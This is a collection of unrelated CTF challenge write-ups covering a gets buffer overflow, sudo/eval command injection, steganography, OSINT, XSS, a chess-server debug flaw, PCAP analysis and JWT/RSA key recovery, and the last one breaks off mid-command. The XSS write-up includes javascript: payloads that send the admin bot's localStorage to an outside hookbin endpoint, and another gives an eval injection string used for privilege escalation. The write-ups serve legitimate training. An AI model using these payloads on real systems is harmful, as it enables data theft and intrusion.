- Kiểm tra định dạng file `file areyouadmin`, ta thấy file thực thi có định dạng là ELF 64bit- Đầu tiên, mình sẽ dùng IDA 64bit để phân tích file thực thi và thấy được hàm main có dạng như sau:``` tmulogo(); v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; sub_10C0("Enter username:"); sub_1110(&v8;; sub_10C0("Enter password:"); sub_1110(&v7;; if ( sub_1100(&v8, "AlexTheUser") || sub_1100(&v7, "4l3x7h3p455w0rd") || v13 * v14 + v12 != 9535 || v12 * v13 + v11 != 14242 || v11 * v12 + v10 != 5843 || v10 * v11 + v14 != 7113 || v14 * v10 + v13 != 28735 ) { result = 0; } else { LODWORD(v4) = sub_1120("flag.txt", "r"); v9 = v4; if ( !v4 ) { sub_10E0("Missing flag.txt. Contact an admin if you see this on remote."); sub_1130(1LL); } sub_10F0(&v6, 128LL, v9); sub_10E0("%s"); result = 0; }```Có vẻ như quá trình tạo mã giả của hàm có vấn đề, nên các tên hàm hệ thống đều bị chuyển sang dạng "sub_????". Để biết được đó là hàm gì thì chỉ cần double click vào xem hàm đó trong chế độ xem mã assembly. Đổi lại tên các hàm "sub_????" cho dễ nhìn:``` tmulogo(); v14 = 0; v13 = 0; v12 = 0; v11 = 0; v10 = 0; puts1("Enter username:"); gets1(&v8;; puts1("Enter password:"); gets1(&v7;; if ( strcmp1(&v8, "AlexTheUser") || strcmp1(&v7, "4l3x7h3p455w0rd") || v13 * v14 + v12 != 9535 || v12 * v13 + v11 != 14242 || v11 * v12 + v10 != 5843 || v10 * v11 + v14 != 7113 || v14 * v10 + v13 != 28735 ) { result = 0; } else { LODWORD(v4) = fopen1("flag.txt", "r"); v9 = v4; if ( !v4 ) { printf1("Missing flag.txt. Contact an admin if you see this on remote."); exit1(1LL); } fgets1(&v6, 128LL, v9); printf1("%s"); result = 0; }```Vì không cho đổi tên giống hàm chuẩn nên mình để thêm số 1 ở phía sau :vv
- Nhìn sơ qua chương trình, ta có thể thấy được chương trình có đoạn code chuyên dùng để in flag ở phía sau, nhưng để chạy được phần code đó thì ta phải thỏa các điều kiện: - Chuỗi **username == "AlexTheUser"** - Chuỗi **password == "4l3x7h3p455w0rd"** - v13 * v14 + v12 == 9535 - v12 * v13 + v11 == 14242 - v11 * v12 + v10 == 5843 - v10 * v11 + v14 == 7113 - v14 * v10 + v13 == 28735
- Quan sát thấy chương trình sử dụng hàm `gets` để nhận input, điều này sẽ dễ dẫn đến lỗi buffer overflow. Thử kiểm tra các chế độ bảo vệ của chương trình:```gdb-peda$ checksecCANARY : disabledFORTIFY : disabledNX : ENABLEDPIE : ENABLEDRELRO : FULL```Chương trình không có chế độ bảo vệ buffer overflow (Canary), thế nên chúng ta có thể tự do điều khiển stack bằng input mà không cần lo nghĩ gì nhiều.
- 2 điều kiện username và password thì ta có thể dễ dàng nhập rồi. Vấn đề là chúng ta cần phải điều khiển 5 biến v14, v13, v12, v11, v10 trên stack để thỏa được điều kiện trên. Ta cần tìm xem giá trị của 5 biến này cần bằng bao nhiêu để thỏa điều kiện. Nhưng mấy thứ tính toán 5 ẩn thế này thì mình chịu nên mình bỏ hệ phương trình trên vào tool tính toán online [WolframAlpha](https://www.wolframalpha.com/) để tính hộ. Vì nếu để tên biến là v10, v11... thì tool sẽ hiểu nhầm thành v mũ 10, v mũ 11... nên mình đổi tên biến sang lần lượt từ v10 đến v14 là a, b, c, d, e```d * e + c = 9535, c * d + b = 14242, b * c + a = 5843, a * b + e = 7113, e * a + d = 28735```Vậy ta đã tìm được điều kiện cần: **v10 = 233, v11 = 30, v12 = 187, v13 = 76, v14 = 123**
Thứ cần tìm cuối cùng là phải viết payload như thế nào mới có thể ghi đè được các giá trị này vào các biến trên.
- Để điều khiển được giá trị của các biến trên stack, ta cần tìm địa chỉ của nó. Dùng gdb-peda để debug và xem địa chỉ của các biến này cùng với 2 input username, password trên stack ở đâu:```gdb-peda$ start``````gdb-peda$ pdis main```Đặt breakpoint ngay tại vị trí các biến được gán bằng 0 để tính địa chỉ các biến ở đâu```0x00005555555552f1 <+93>: call 0x555555555229 <tmulogo>0x00005555555552f6 <+98>: mov DWORD PTR [rbp-0x4],0x00x00005555555552fd <+105>: mov DWORD PTR [rbp-0x8],0x00x0000555555555304 <+112>: mov DWORD PTR [rbp-0xc],0x00x000055555555530b <+119>: mov DWORD PTR [rbp-0x10],0x00x0000555555555312 <+126>: mov DWORD PTR [rbp-0x14],0x0``````gdb-peda$ b* 0x00005555555552f6```Đặt breakpoint tại vị trí gọi các hàm gets để xem địa chỉ của username và password trên stack:```0x0000555555555331 <+157>: call 0x555555555110 <gets@plt>0x0000555555555336 <+162>: lea rdi,[rip+0xed2] # 0x55555555620f0x000055555555533d <+169>: call 0x5555555550c0 <puts@plt>0x0000555555555342 <+174>: lea rax,[rbp-0xa0]0x0000555555555349 <+181>: mov rdi,rax0x000055555555534c <+184>: mov eax,0x00x0000555555555351 <+189>: call 0x555555555110 <gets@plt>``````gdb-peda$ b* 0x0000555555555331gdb-peda$ b* 0x0000555555555351```
- Chạy chương trình và tính các địa chỉ cần tìm: - Tại breakpoint 1: RBP = 0x7fffffffdca0, suy ra địa chỉ của v14 là 0x7fffffffdca0 - 0x4 = 0x7fffffffdc9c Tương tự, các biến còn lại có cùng RBP nên địa chỉ của nó sẽ bé hơn địa chỉ của biến trước khai báo trước đó 0x4. Vậy ta có thể hình dung được thứ tự của các biến trên stack là như sau: v10, v11, v12, v13, v14 (mỗi biến chỉ có thể chứa được 4 bytes) - Tại breakpoint 2: ``` Guessed arguments: arg[0]: 0x7fffffffdc40 --> 0xd ('\r') ``` Dữ liệu input sẽ được lưu vào tham số duy nhất trong gets nên địa chỉ của username trên stack sẽ là 0x7fffffffdc40 - Tại breakpoint 3: tương tự, địa chỉ của password trên stack là 0x7fffffffdc00 - Sắp xếp lại các địa chỉ trên stack mà ta đã tính được: ```password - 64 bytes - username - 76 bytes - v10 - 4 bytes - v11 - 4 bytes - v12 - 4 bytes - v13 - 4 bytes - v14```
- Viết payload: Chương trình cho phép ta nhập input 2 lần, lần đầu chứa ở username, lần sau chứa ở password. Ta có thể lợi dụng buffer overflow ở username để viết các kí tự offset cho tràn đến các địa chỉ của các biến đằng sau để ghi giá trị của các biến sau. - payload1: `username + "\x00"*(76 - len(username)) + p32(v10) + p32(v11) + p32(v12) + p32(v13) + p32(v14)` (giá trị của các biến trong payload1 đã được nêu ở phần trên) Ta có thể thấy từ username chỉ cần nhập 76 kí tự thì sẽ nhập tiếp được giá trị của v10,... Ở đây, mình dùng kí tự null `\x00` để làm kí tự offset tràn đến các địa chỉ sau vì hàm `strcmp` chỉ so sánh 2 chuỗi cho đến khi gặp kí tự null. Nếu muốn chèn kí tự khác thì chuỗi kí tự chèn phải bắt đầu bằng kí tự null để hàm có thể so sánh thành công chuỗi username chứ không đem các kí tự sau đi so sánh. Mỗi biến v?? chỉ rộng 4 bytes nên mình dùng hàm `p32` của pwntool để chuyển giá trị của nó thành chuỗi 4 bytes kí tự. - payload2: `password`
- Và thế là xong! Chỉ cần cho chương trình chạy lần lượt với 2 payload như trên thì ta sẽ lấy được flag |
# devprivops## Description```Well good luck elevating your privs x)ssh -p 10000 [email protected]Password: FwOrDAndKahl4FTWAuthor: Kahla```
SSH into it:```ssh -p 10000 [email protected] _____ _| ___|_ _____ _ __ __| || |_ \ \ /\ / / _ \| '__/ _` || _| \ V V / (_) | | | (_| ||_| \_/\_/ \___/|_| \__,_|
[email protected]'s password:DISCLAIMER: Please don't abuse the server !
These Tasks were done to practice some Linux
Author: Kahla, Contact me for any problems
** It may take some time! We are preparing the environment for you! **
Kindly Sponsored By Root-Me Prouser1@19e8d2367bf3:/home/user1$ lsdevops.sh flag.txtuser1@19e8d2367bf3:/home/user1$ cat flag.txtcat: flag.txt: Permission denied```You can see there is two files, and we cannot read the flag:```bashls -latotal 32drwxrwxr-t 1 root user1 4096 Aug 27 22:44 .drwxr-xr-x 1 root root 4096 Aug 27 22:43 ..-rw-r--r-- 1 user1 user1 220 Feb 25 2020 .bash_logout-rw-r--r-- 1 user1 user1 3771 Feb 25 2020 .bashrc-rw-r--r-- 1 user1 user1 807 Feb 25 2020 .profile-rwxr-xr-x 1 root user-privileged 945 Aug 27 22:09 devops.sh-rwxr----- 1 root user-privileged 67 Aug 27 22:09 flag.txt```
After I enumerate the container, notice something interesting when I run `sudo -l`:```bashsudo -lMatching Defaults entries for user1 on 19e8d2367bf3: env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User user1 may run the following commands on 19e8d2367bf3: (user-privileged) NOPASSWD: /home/user1/devops.sh```
This means we are allow to run `devops.sh` as `user-privileged` without password!!
## Privilege Escalation
Look at the `devops.sh````bash#!/bin/bashPATH="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:"exec 2>/dev/nullname="deploy"while [[ "$1" =~ ^- && ! "$1" == "--" ]]; do case $1 in -V | --version ) echo "Beta version" exit ;; -d | --deploy ) deploy=1 ;; -p | --permission ) permission=1 ;;esac; shift; doneif [[ "$1" == '--' ]]; then shift; fi
echo -ne "Welcome To Devops Swiss Knife \o/\n\nWe deploy everything for you:\n"
if [[ deploy -eq 1 ]];then echo -ne "Please enter your true name if you are a shinobi\n" read -r name eval "function $name { terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }" export -f $namefi
isAdmin=0# Ofc only admins can deploy stuffs o//if [[ $isAdmin -eq 1 ]];then $namefi
# Check your current permissions admin-sanif [[ $permission -eq 1 ]];then echo "You are: " idfi```The PATH variable is set, so we cannot change the PATH and add fake binary to execute code...
Then I notice a line got `eval` and we can control `name` variable:```bashif [[ deploy -eq 1 ]];then echo -ne "Please enter your true name if you are a shinobi\n" read -r name eval "function $name { terraform init &>/dev/null && terraform apply &>/dev/null ; echo \"It should be deployed now\"; }" export -f $namefi```
Then I create my own script in my machine to test:```bash#!/bin/bashread -r nameeval "function $name { echo hi; }"```
After some trial and error, I were able to inject code using `a { id; }; echo hi; function b`!!
Try in the container:```./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobiFwOrDAndKahl4FTWuser1@0c8dfb54caa4:/home/user1$ ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { id; }; echo hi; function bhi```
Then try run with `sudo` command to run as the `user-privileged` and inject `cat flag.txt`:```sudo -u user-privileged ./devops.sh -dWelcome To Devops Swiss Knife \o/
We deploy everything for you:Please enter your true name if you are a shinobia { id; }; cat flag.txt; function b{FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}``` We get the flag! That it!
## Flag```FwordCTF{W00w_KuR0ko_T0ld_M3_th4t_Th1s_1s_M1sdirecti0n_BasK3t_FTW}```
## Intended SolutionThe author of challenge said the intended solution is run a terraform script to xfiltrate the flag:https://discord.com/channels/736202333863542826/881404600496820294/881412916224614400 |
Unzipping the given zip file with `unzip challenge.zip` gives us `puzzle.jpg`.
There are some interesting *strings* in it.
```sh$ strings puzzle.jpg...flag.zippuzzle.png```So, there must be *embedded* files in the image.
Let's use [binwalk](https://tools.kali.org/forensics/binwalk) to extract those files.```sh$ binwalk -e puzzle.jpg ...$ lschallenge.zip puzzle.jpg _puzzle.jpg.extracted$ cd _puzzle.jpg.extracted/$ ls47041.zip flag.zip puzzle.png$ unzip flag.zip Archive: flag.zip skipping: flag.txt unsupported compression method 99```We can see that there is `flag.txt` in `flag.zip`. But we can't unzip because *zip* says "unsupported compression method 99".
I searched online for this problem and in [here](https://access.redhat.com/solutions/59700) it says

So, we can use *7zip* to extract `flag.txt` file.
```sh$ 7z e flag.zip ...Enter password (will not be echoed):```But, we don't know the **password**.
Let's leave `flag.zip` for now and check other files.
### puzzle.png (file got from extracting puzzle.jpg)First line is `12`.
In second line, we put `1` at the beginning and count how many of what numbers is in the *previous* line.There are one `1` and one `2`.So, [one `1`] becomes `11` and [one `2`] becomes `12`.And, we will get `11112`.
In third line, we put `2` at the beginning.There are four `1` and one `2` in the *previous* line. So, we will get `24112`.
So, the `?` will be `61542142311`.
Let's try that as `password`.
```sh$ 7z e flag.zip ...Enter password (will not be echoed):Everything is Ok
Size: 80Compressed: 296$ ls47041.zip flag.txt flag.zip puzzle.png$ cat flag.txt R1pIUEdTe1EzeV9NM19RNDU3NHpfRTRzNzBfVzRhX1U0el9PMV9RM3kwX1c0YV9QdTAwYV9YMGE0en0=```There is **base64** encoded string in `flag.txt`.
We can decode it with `base64 -d flag.txt`.
```sh$ base64 -d flag.txt GZHPGS{Q3y_M3_Q4574z_E4s70_W4a_U4z_O1_Q3y0_W4a_Pu00a_X0a4z}```**Base64** decoding gives us a string which is **ROT13**ed.```sh$ base64 -d flag.txt | python -c 'import sys; print sys.stdin.read().decode("rot13")'TMUCTF{D3l_Z3_D4574m_R4f70_J4n_H4m_B1_D3l0_J4n_Ch00n_K0n4m}```So the **flag** is `TMUCTF{D3l_Z3_D4574m_R4f70_J4n_H4m_B1_D3l0_J4n_Ch00n_K0n4m}`. |
So we see the name of a company Bistro 24 on a board. There were lots of places called this all over the world so we need to narrow it down. The street sign looks like Spanish, so it’s in a Spanish speaking country. We can see a sport TV ad BENFICATV. A search reveals Benfica TV is a Portuguese sports-oriented premium cable and satellite television channel operated by sports club S.L. Benfica.
Searching for Bistro 24 in Portugal we find it here. We got coordinates, finished the challenge.
37.102778, -8.364472 |
# Fancy Button Generator
- Category: Web- Points: 100- Author: Quintec
```Check out this cool new fancy button generator! The buttons even glow!
https://fbg.rars.win/
Make sure to test your payloads using the full environment provided.```
## Scouting
That note at the bottom is really important... one thing I learned this CTF. **Always, test with a provided docker!**
We are given two files a `pow` (proof of work) solver:
```pythonimport requests
import hashlibimport uuidimport binasciiimport osimport sys
def generate(): return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]
def verify(prefix, suffix, answer, difficulty=6): hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest() return hash.endswith("0"*difficulty)
def solve(prefix, suffix, difficulty): while True: test = binascii.hexlify(os.urandom(4)).decode() if verify(prefix, suffix, test, difficulty): return test
s = requests.Session()host = "https://fbg.rars.win/"
data = s.get(host + "pow").json()print("Solving POW")solution = solve(data['pref'], data['suff'], 5)print(f"Solved: {solution}")s.post(host + "pow", json={"answer": solution})
name = "" # change thislink = "" # change thisr = s.get(host + f"admin?title={name}&link={link}")print(r.text)```
What this does is solve the proof of work. `What is a proof of work?` It is something used in cryptocurrency, to prove that you actually "mined" a coin. Here we have to find a hash using the given `prefix` and `suffix` to find a `sha256` hash that ends with the number of zeroes equal to `difficulty`.
After we send this to the `/pow` end point we can start creating buttons and sending them to the admin bot. First we'll check out the `server.py` script (I won't paste the whole thing):
```[email protected]('/button')def button(): title = request.args.get('title') link = request.args.get('link') return render_template('button.html', title=title, link=link)```
This endpoint creates our button, as we can see no input sanitising is done. So the link or title could be basically anything! We can also see, that there are no `pow` checks in the function, meaning it can be created whenever.
```[email protected]('/admin')def admin(): if (not session.get("verified")) or (not session.get("end")): return redirect("/pow") if session.get("end") < time.time(): del session['pref'] del session['suff'] del session['end'] del session['verified'] return redirect("/pow")
title = request.args.get('title') link = request.args.get('link') host = random.choice(["admin", "admin2", "admin3"]) r = requests.post(f"http://{host}/xss/add", json={"title": title, "link": link}, headers={"Authorization": os.getenv("XSSBOT_SECRET")}) return f'Nice button! The admin will take a look. Current queue position: {r.json()["position"]}'```
Here is the admin site. We can only send the admin buttons after being verified through the `pow`. The admin bot receives the `title` and `link` of our button, with zero checking. After that a request is sent to one of the admin bots. Time to check out what the admin bot does:
```javascriptconst visit = (req) => { let page, browser; return new Promise(async (resolve, reject) => { try { browser = await puppeteer.launch({ headless: true, args: [ '--no-sandbox', '--disable-setuid-sandbox', '--disable-dev-shm-usage' ], dumpio: true, executablePath: process.env.PUPPETEER_EXECUTABLE_PATH }); page = await browser.newPage();
/* load flag */ await page.goto(process.env.SITE, { waitUntil: "networkidle2" }); await page.evaluate(flag => { localStorage.flag = flag; }, process.env.FLAG);
let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link; console.log("Going to ", url); await page.goto(url, { waitUntil: "networkidle2" }); await page.click("#btn"); await page.waitForTimeout(TIMEOUT); await page.close(); page = null; } catch (err) { console.log(err); } finally { if (page) await page.close(); if (browser) await browser.close(); resolve(); } });};```
The function works asynchronously and uses the `puppeteer` package, to automate a headless browser. We can see, that after loading a new page the flag is loaded into `localStorage`:
```javascript await page.evaluate(flag => { localStorage.flag = flag; }, process.env.FLAG);```
After that the bot navigates to our provided button/url:
```javascript let url = process.env.SITE + "button?title=" + req.title + "&link=" + req.link; console.log("Going to ", url); await page.goto(url, { waitUntil: "networkidle2" });```
The button is then clicked, the bot waits a bit and then exits. Awesome!
## Finding a solution
At first I tried to escape the `href` in the tag:
```urlhttps://fbg.rars.win/button?title=...&link=%22%20onerror=alert(1)%3E```
But if you do not put in any URL, it will append it to the `fbg.rars.win/` URL. So that's a no go. How about using the `javascript:` tag?
```https://fbg.rars.win/button?title=...&link=javascript:alert(1)```

Great, this is a proof of concept! But now for exfiltration, if we just alert the admin bot, that is absolutely useless. We need a publicly accessible endpoint. And this is where [hookbin](https://hookbin.com/) comes in. Simply click on `CREATE NEW ENDPOINT` and then use the given URL.
### Finding a working payload
This is where it really comes in handy to work with a local instance of fbg. One payload we could use is:
```javascriptnew Image().src="<your hookbin endpoint>?c="+window.localStorage.getItem('flag')```
Which we can input into the provided script:
```pythonimport requests
import hashlibimport uuidimport binasciiimport osimport sys
def generate(): return uuid.uuid4().hex[:4], uuid.uuid4().hex[:4]
def verify(prefix, suffix, answer, difficulty=6): hash = hashlib.sha256(prefix.encode() + answer.encode() + suffix.encode()).hexdigest() return hash.endswith("0"*difficulty)
def solve(prefix, suffix, difficulty): while True: test = binascii.hexlify(os.urandom(4)).decode() if verify(prefix, suffix, test, difficulty): return test
s = requests.Session()host = "https://fbg.rars.win/"
data = s.get(host + "pow").json()print("Solving POW")solution = solve(data['pref'], data['suff'], 5)print(f"Solved: {solution}")s.post(host + "pow", json={"answer": solution})
name = "..." # change thislink = """javascript:new Image().src="<your hookbin endpoint>?c="+window.localStorage.getItem('flag')""" # change thisr = s.get(host + f"admin?title={name}&link={link}")print(r.text)```
But this won't work... Time to try it locally.
### docker
After running `docker-compose build` we can use:
```bashdocker-compose upStarting fancy_button_generator_admin2_1 ... doneStarting fancy_button_generator_chall_1 ... doneStarting fancy_button_generator_admin3_1 ... doneStarting fancy_button_generator_admin_1 ... doneAttaching to fancy_button_generator_chall_1, fancy_button_generator_admin2_1, fancy_button_generator_admin_1, fancy_button_generator_admin3_1admin2_1 | xssbot listening on port 80chall_1 | * Serving Flask app 'server' (lazy loading)chall_1 | * Environment: productionchall_1 | WARNING: This is a development server. Do not use it in a production deployment.chall_1 | Use a production WSGI server instead.chall_1 | * Debug mode: offchall_1 | * Running on all addresses.chall_1 | WARNING: This is a development server. Do not use it in a production deployment.chall_1 | * Running on http://172.18.0.5:5000/ (Press CTRL+C to quit)admin3_1 | xssbot listening on port 80admin_1 | xssbot listening on port 80```
Then I started all the Time to try our payloads, and look for errors!
*Note: Be sure to change the `host` variable in the script*
After executing the payload, and checking hookbin:

Well... that didn't work. Why?
```bashadmin3_1 | vistiting: {admin3_1 | title: '...',admin3_1 | link: "javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c='+window.localStorage.getItem('flag')"admin3_1 | } []admin3_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin3_1 | [0809/202810.380784:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin3_1 | admin3_1 | DevTools listening on ws://127.0.0.1:44595/devtools/browser/5142a2c8-c6c0-4c0c-9ea5-c78c0946cbcdadmin3_1 | [0809/202810.394944:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin3_1 | [0809/202810.420350:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.admin3_1 | Going to https://fbg.rars.win/button?title=...&link=javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c='+window.localStorage.getItem('flag')admin3_1 | [0809/202813.309781:INFO:CONSOLE(1)] "Uncaught SyntaxError: Unexpected identifier", source: https://fbg.rars.win/button?title=...&link=javascript:new%20Image().src=%27https://hookb.in/QJJEJLpxQ0i8mNzzmJ03?c=%27+window.localStorage.getItem(%27flag%27) (1)```
Right, so there seems to be a syntax error? What if we send a simple request, without any extra data?
```pythonlink = """javascript:new Image().src="<your hookbin endpoint>"""" # change this```
Time to check:
```bashadmin3_1 | vistiting: {admin3_1 | title: '...',admin3_1 | link: "javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03'"admin3_1 | } []admin3_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin3_1 | [0809/202948.026389:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin3_1 | admin3_1 | DevTools listening on ws://127.0.0.1:36589/devtools/browser/61c24fcb-bc1e-47c3-ac37-6fb90456910dadmin3_1 | [0809/202948.043770:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin3_1 | [0809/202948.073610:ERROR:command_buffer_proxy_impl.cc(126)] ContextResult::kTransientFailure: Failed to send GpuControl.CreateCommandBuffer.admin3_1 | Going to https://fbg.rars.win/button?title=...&link=javascript:new Image().src='https://hookb.in/QJJEJLpxQ0i8mNzzmJ03'
```
No errors and checking hookbin, it went through. So we can't really use a `+` probably? As that causes a syntax error. Well... in comes `fetch`.
## Fetch
We try:
````javascriptjavascript:fetch('<hookbin endpoint>')````
As a simple test and it goes through! Now we can try sending some data! With fetch we can send headers as a dictionary, like so:
```javascriptfetch('<endpoint>', { headers:{ 'Content-Type' : 'test' } })```
Change the link, and go ahead:
```bashadmin_1 | vistiting: {admin_1 | title: '...',admin_1 | link: "javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':'test'}})"admin_1 | } []admin_1 | Fontconfig warning: "/etc/fonts/fonts.conf", line 100: unknown element "blank"admin_1 | admin_1 | DevTools listening on ws://127.0.0.1:34819/devtools/browser/a341f2bb-7789-4bad-8b2a-dbd91ab8d6ebadmin_1 | [0809/203918.354358:ERROR:bus.cc(393)] Failed to connect to the bus: Failed to connect to socket /var/run/dbus/system_bus_socket: No such file or directoryadmin_1 | [0809/203918.363929:ERROR:gpu_init.cc(441)] Passthrough is not supported, GL is swiftshaderadmin_1 | Going to https://fbg.rars.win/button?title=...&link=javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':'test'}})```
And hookbin:

Awesome! Time to get the flag:
## Flag
The payload to the actual challenge site:
```pythonlink = "javascript:fetch('https://hookb.in/ggg2p92p2XiG7Voo7z7P',{headers:{'Content-Type':window.localStorage.getItem('flag')}})"```
Hookbin:

`rarctf{th0s3_f4ncy_butt0n5_w3r3_t00_cl1ck4bl3_f0r_u5_a4667cb69f}` |
# [corCTF 2021] smogofwar
## tl;dr
Beat a chess bot in "Smog of War" a variant of chess (almost?) identical to the[Fog of War](https://en.wikipedia.org/wiki/Dark_chess) variation of chess by sending two different moves to the server.
## Description
misc/smogofwar; strellic ; 7 solves / 497 points
Hey, I made a chess website to play my favorite variant, smog of war!Why don't you check it out and play against my AI. He has some nasty surprises,but if you beat him I'll give you a flag.. good luck :)
<https://smogofwar.be.ax>
You're also given a zip file, [`smogofwar.zip`](https://corctf2021-files.storage.googleapis.com/uploads/390d97bab7d57e12aeff88a31d4fe0414f3e8bd1aea22451c57197ba9fb10e1b/smogofwar.zip), that presumably has thecontents of the website and the server that handles the chess game.
## Solving the Challenge
The website contains a variation of chess against a bot where you can only seesquares where either you have pieces, can move to, or capture.Beating the bot would give you the flag.As an added bonus, every time the bot captures your piece, it spits out arandom piece of trash talk in the chat.

Playing around with the bot, the bot seems really strong, but seemed to movedeterministically. I'm not good enough at chess for this, so Ienlisting the help of an amateur chess friend Henry I had on hand.He tried to play the bot and realized it was not deterministic and seemed quite strong.
Looking at the source code for the bot, it turned out it was running the newest versions of one of the best chess bots: [Stockfish 14](https://stockfishchess.org/blog/2021/stockfish-14/).
```pythonclass Enemy: def __init__(self, fen, emit): self.internal_board = chess.Board(fen) self.emit = emit self.stockfish = Stockfish("./stockfish_14_linux_x64_avx2/stockfish_14_x64_avx2", parameters={"Threads": 4}) self.quit = False```
Furthermore, it was given 10 seconds to think about each move.```python best_move = self.stockfish.get_best_move_time(10000)```
On top of that our worst fears were confirmed when we realized that our move`m1` was being sent to the bot (lemonthink), so the bot knew the entire state of the board while we were restricted by the fog of war!```python self.enemy.lemonthink(m1)
enemy_move = self.enemy.normalthink(self.get_moves()) self.play_move(enemy_move)```
Henry informed me that even a professional chess player would struggle to beatstockfish, even without fog of war. We considered writinganother bot running stockfish with more thinking time, but with fog of war and non-deterministic moves, it would have been difficult to beat the bot with another bot.
By looking closer at the code for the game, we found the following suspicious lines:```python def player_move(self, data): if self.get_turn() != chess.WHITE or self.is_game_over(): return
m0 = data m1 = data
if isinstance(data, dict) and "_debug" in data: m0 = data["move"] m1 = data["move2"]
if not self.play_move(m0): self.emit("chat", {"name": "System", "msg": "Invalid move"}) return```If we sent a dictionary to the bot with the `_debug` field instead of a stringcontaining our move, the move `m0` would get played on the board but the move `m1` would get sent to the bot. With this, we had could trick the bot by giving it a fakemove, when we in fact performed another move!
However, it wasn't that easy because the chess bot had various checks to makesure the game was progressing normally and would set `self.quit=True` if itdetected anything out of the usual. If it quit, it wouldn't output the flag:```python def resign(self): if self.quit: return
self.chat("damn, how did you do that???") self.chat(FLAG)```
Thus we had to beat the bot by only making moves that kept the bot's internalboard state consistent. The easiest way to do so would be to trick the bot onemove before taking the king. I left the job up to Henry to find the best line,which he used a mix of playing the bot and <https://lichess.org> analysis tool (which also uses Stockfish)to figure what the bot would likely do. In the end he came up with this sequenceof moves where the bot behaved predictably.

Then we would run this command in the javascript console:```javascriptsocket.emit('move', {'_debug': true, 'move': 'd4e4', 'move2': 'd4f4'})```The command meant that we moved our queen to E4, which puts the king in check.This would normally prompt a block from the dark square bishop but the chessbot thought we moved the queen to F4. The bot didn't know it was in checkso this allowed us us to take the king and win!

```corctf{"The opportunity of defeating the enemy is provided by the enemy himself." - Sun Tzu}```
## ConclusionThis was a pretty fun and interesting challenge.This was the intended solution for the challenge.The challenge authors speculated whether there were unintendedsolutions involving beating the bot legitimately, but we concluded that even ifyou had a professional chess player handy, it would be difficult. |
# Lazy Leaks

1) provided a PCAP file i looked at unsecure communication. AKA non-encrypted. The first protocol that jumped out at me was TELNET

2) right click > Follow > TCP Stream
3) We got the flag!- `flag{T00_L@ZY_4_$3CUR1TY}` |
Visiting the challenge site, it tells us```To get sleeping pills, navigate to /sleepingpill. To get the flag, navigate to /flag.```
Visiting **/sleepingpill**, the following output is displayed```{"pill_key":"-----BEGIN PUBLIC KEY-----\nMIGsMA0GCSqGSIb3DQEBAQUAA4GaADCBlgKBjgD/////////////////////////\n/////////////////////////////////////////////////////////////3//\n///////////+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\nAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECAwEAAQ==\n-----END PUBLIC KEY-----","sleeping_pill":"eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJmcmVzaCI6ZmFsc2UsImlhdCI6MTYzMTE2MzA4NSwianRpIjoiNjk2ZDBkYWYtZDFlNy00YWFkLWE5ZGYtYTVjMjA2ZjZhOWM0IiwidHlwZSI6ImFjY2VzcyIsInN1YiI6ImRldmlsIiwibmJmIjoxNjMxMTYzMDg1LCJleHAiOjE2MzExNjM5ODUsInNsZWVwIjoiZmFsc2UiLCJkYW5nZXIiOiJ0cnVlIn0.1XvVB3dpbiHyeEL10kzuTQDww_qm-KDcIrKl135H8QoiROoBnLuW4nbwD89Nq_WHG-S1SN5kB5zVUi6PoKIX7Bc2i0egIe6v4TIBGNo2qKytalU4rZg90keZmiG9qo625GqLjNKY_zl5Zr9SWvO9nutuAwnKd2EMUxEu5aVbq4xnf-wmKELaIFBewu1h"}```
The decoded jwt payload is```{ "fresh":false, "iat":1631163085, "jti":"696d0daf-d1e7-4aad-a9df-a5c206f6a9c4", "type":"access", "sub":"devil", "nbf":1631163085, "exp":1631163985, "sleep":"false", "danger":"true"}```
To solve the challenge, simply change sleep to true and danger to false. But for the signature, the private key is needed.
For the signature, the response from **/sleepingpill** gives the public key.```-----BEGIN PUBLIC KEY-----MIGsMA0GCSqGSIb3DQEBAQUAA4GaADCBlgKBjgD//////////////////////////////////////////////////////////////////////////////////////3/////////////+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECAwEAAQ==-----END PUBLIC KEY-----```
Using [RsaCtfTool](https://github.com/Ganapati/RsaCtfTool), get the private key.
```python3 RsaCtfTool.py --publickey ./public.key --private
